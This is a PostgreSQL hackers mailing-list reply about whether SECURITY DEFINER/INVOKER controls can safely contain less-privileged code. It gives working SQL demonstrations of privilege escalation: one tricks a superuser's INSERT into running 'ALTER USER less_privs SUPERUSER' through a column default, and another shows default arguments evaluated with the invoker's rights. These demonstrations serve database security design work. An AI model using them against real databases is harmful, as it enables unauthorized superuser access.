Re: Blocking execution of SECURITY INVOKER

Поиск
Список
Период
Сортировка
От Andres Freund
Тема Re: Blocking execution of SECURITY INVOKER
Дата
Msg-id 20230113033838.hvso6nlm5igsxcem@awork3.anarazel.de
обсуждение исходный текст
Ответ на Re: Blocking execution of SECURITY INVOKER  (Andres Freund <andres@anarazel.de>)
Ответы Re: Blocking execution of SECURITY INVOKER  (Jeff Davis <pgsql@j-davis.com>)
Список pgsql-hackers
On 2023-01-12 19:29:43 -0800, Andres Freund wrote:
> Hi,
> 
> On 2023-01-12 18:40:30 -0800, Jeff Davis wrote:
> > On Wed, 2023-01-11 at 19:33 -0800, Andres Freund wrote:
> >
> > > and the
> > > privilege check will be done with the rights of the admin in many of
> > > these
> > > contexts.
> >
> > Can you explain?
> 
> If the less-privileged user does *not* have execution rights to a security
> definer function, but somehow can trick the more-privileged user into calling
> the function for them, e.g. by using it as the default expression of a column,
> the less-privileged user can escalate to the permissions of the security
> definer function.
> 
> superuser:
> # CREATE FUNCTION exec_su(p_sql text) RETURNS text LANGUAGE plpgsql SECURITY DEFINER AS $$BEGIN RAISE NOTICE
'executing%', p_sql; EXECUTE p_sql;RETURN 'p_sql';END;$$;
 
> # REVOKE ALL ON FUNCTION exec_su FROM PUBLIC ;
> 
> unprivileged user:
> $ SELECT exec_su('ALTER USER less_privs SUPERUSER');
> ERROR:  42501: permission denied for function exec_su
> $ CREATE TABLE trick_superuser(value text default exec_su('ALTER USER less_privs SUPERUSER'));
> 
> superuser:
> # INSERT INTO trick_superuser DEFAULT VALUES;
> NOTICE:  00000: executing ALTER USER less_privs SUPERUSER
> 
> 
> This case would *not* be prevented by your proposed GUC, unless I miss
> something major. The superuser trusts itself and thus the exec_su() function.

Another reason security definer isn't a way to allow safe execution of lesser
privileged code:

superuser (andres):
# CREATE FUNCTION bleat_whoami() RETURNS text LANGUAGE plpgsql SECURITY INVOKER AS $$BEGIN RAISE NOTICE 'whoami: %',
current_user;RETURNcurrent_user;END;$$;
 
# REVOKE ALL ON FUNCTION bleat_whoami FROM PUBLIC;

unprivileged user:
$ CREATE FUNCTION secdef_with_default(foo text = bleat_whoami()) RETURNS text LANGUAGE plpgsql SECURITY DEFINER AS
$$BEGINRETURN 'secdef_with_default';END;$$;
 
$ SELECT secdef_with_default();
ERROR:  42501: permission denied for function bleat_whoami

superuser (andres):
# SELECT secdef_with_default();
NOTICE:  00000: whoami: andres
LOCATION:  exec_stmt_raise, pl_exec.c:3893
┌─────────────────────┐
│ secdef_with_default │
├─────────────────────┤
│ secdef_with_default │
└─────────────────────┘
(1 row)

I.e. the default arguments where evaluated with the invoker's permissions, not
the definer's, despite being controlled by the less privileged user. Worsened
in this case by the fact that this allowed the less privileged user to call a
function they couldn't even call.

Greetings,

Andres Freund



В списке pgsql-hackers по дате отправления:

Предыдущее
От: Amit Kapila
Дата:
Сообщение: Re: Perform streaming logical transactions by background workers and parallel apply
Следующее
От: Andres Freund
Дата:
Сообщение: Re: Exposing the lock manager's WaitForLockers() to SQL